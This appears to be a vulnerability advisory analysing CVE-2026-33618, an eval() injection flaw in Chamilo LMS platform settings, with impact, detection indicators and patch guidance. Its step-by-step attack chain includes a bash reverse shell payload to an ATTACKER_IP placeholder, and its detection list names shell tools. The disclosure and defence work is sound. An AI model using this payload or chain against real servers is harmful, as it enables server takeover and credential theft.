CVE-2026-33618: 
Chamilo vulnerability analysis and mitigation

CVE-2026-33618 is an eval injection vulnerability (Remote Code Execution via eval() in Platform Settings) affecting Chamilo LMS versions from 2.0.0-alpha1 through 2.0.0-RC.2. The PlatformConfigurationController::decodeSettingArray() method uses PHP's eval() to parse platform settings retrieved from the database, allowing an attacker with admin access to inject and execute arbitrary PHP code. The vulnerability was published on April 10, 2026, and is fixed in version 2.0.0-RC.3. It carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory).

The root cause is classified as CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code — 'Eval Injection'). The vulnerable code resides in src/CoreBundle/Controller/PlatformConfigurationController.php at line 272, where the method calls eval("return $trimmed;") on a setting value (catalog.course_catalog_settings) retrieved from the database without sanitization (GitHub Advisory). The /platform-config/list route has no authentication requirement, meaning once malicious PHP code is injected into the database settings by an admin, any user — including unauthenticated visitors — can trigger its execution by requesting that endpoint. Admin access required for the injection step can itself be obtained via a separate chained vulnerability (referred to as "Advisory 1") (GitHub Advisory). The fix removes the eval() block entirely, falling back to JSON decoding only (GitHub Commit).

Successful exploitation results in full Remote Code Execution as the www-data web server user, enabling an attacker to execute arbitrary system commands, read sensitive server files (including .env files containing database credentials), establish reverse shells, and fully compromise the server (GitHub Advisory). The confidentiality, integrity, and availability of the affected system are all rated High. When chained with the prerequisite privilege escalation vulnerability, even a low-privileged registered student can achieve full server compromise, significantly broadening the attack surface and potential for lateral movement within the infrastructure.

As of the time of disclosure, no public proof-of-concept exploit code has been observed, and there is no confirmed evidence of in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.047% (0.000470), indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires chaining with a separate admin access vulnerability, which raises the bar slightly, though the unauthenticated trigger endpoint lowers the barrier once the injection is in place. No specific threat actor attribution has been reported.

1. Gain Admin Access: Exploit a separate Chamilo LMS vulnerability ("Advisory 1") to obtain administrative credentials or session, for example by escalating privileges from a registered student account.
2. Identify the Target Setting: Log in as admin and navigate to the platform settings management interface. Identify the catalog.course_catalog_settings value stored in the database, which is passed to the vulnerable decodeSettingArray() method.
3. Inject Malicious PHP Payload: Modify the catalog.course_catalog_settings value in the platform settings to include an arbitrary PHP payload, for example: system('id'); // or a reverse shell one-liner such as system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1');.
4. Trigger Execution: Send an unauthenticated HTTP GET request to /platform-config/list. The server calls decodeSettingArray(), which passes the injected value to eval("return $trimmed;"), executing the attacker's PHP code as the www-data user.
5. Achieve Objectives: Use the resulting code execution to read .env files for database credentials, establish a persistent reverse shell, exfiltrate data, or pivot to other internal systems (GitHub Advisory).

• Network: Unusual or repeated unauthenticated HTTP GET requests to /platform-config/list from unexpected source IPs; outbound connections from the web server process to unknown external IPs or ports (indicative of reverse shell activity).
• Logs: Web server access logs showing frequent requests to /platform-config/list without authentication headers; PHP error logs containing entries like Failed to eval setting value: followed by unexpected exceptions.
• File System: Unexpected new files (web shells, scripts) written to the Chamilo web root or /tmp; modifications to .env or configuration files; new cron jobs created under the www-data account.
• Process: Unusual child processes spawned by the PHP/web server process (e.g., bash, sh, curl, wget, nc, python) visible in process listings; unexpected outbound network connections from the web server process.

Upgrade Chamilo LMS to version 2.0.0-RC.3 or later, which removes the eval() call from decodeSettingArray() entirely and replaces it with safe JSON decoding (GitHub Commit, GitHub Advisory). If immediate patching is not possible, implement network-level access controls to restrict access to the /platform-config/list endpoint to trusted IP ranges only. Additionally, restrict admin account access to trusted personnel, enforce strong authentication (e.g., MFA) for admin accounts, and monitor the platform settings database table for unauthorized modifications.

The vulnerability was reported by security researcher 8l4nnk and published via GitHub's security advisory system on April 10, 2026 (GitHub Advisory). Coverage appeared in vulnerability digest outlets and was referenced in a CISA weekly bulletin for the week of April 6, 2026. A technical write-up was published by The Hacker Wire covering the PHP eval-based RCE chain. Community discussion on Bluesky noted the severity of the eval injection pattern and the chained exploitation path from student to full server compromise.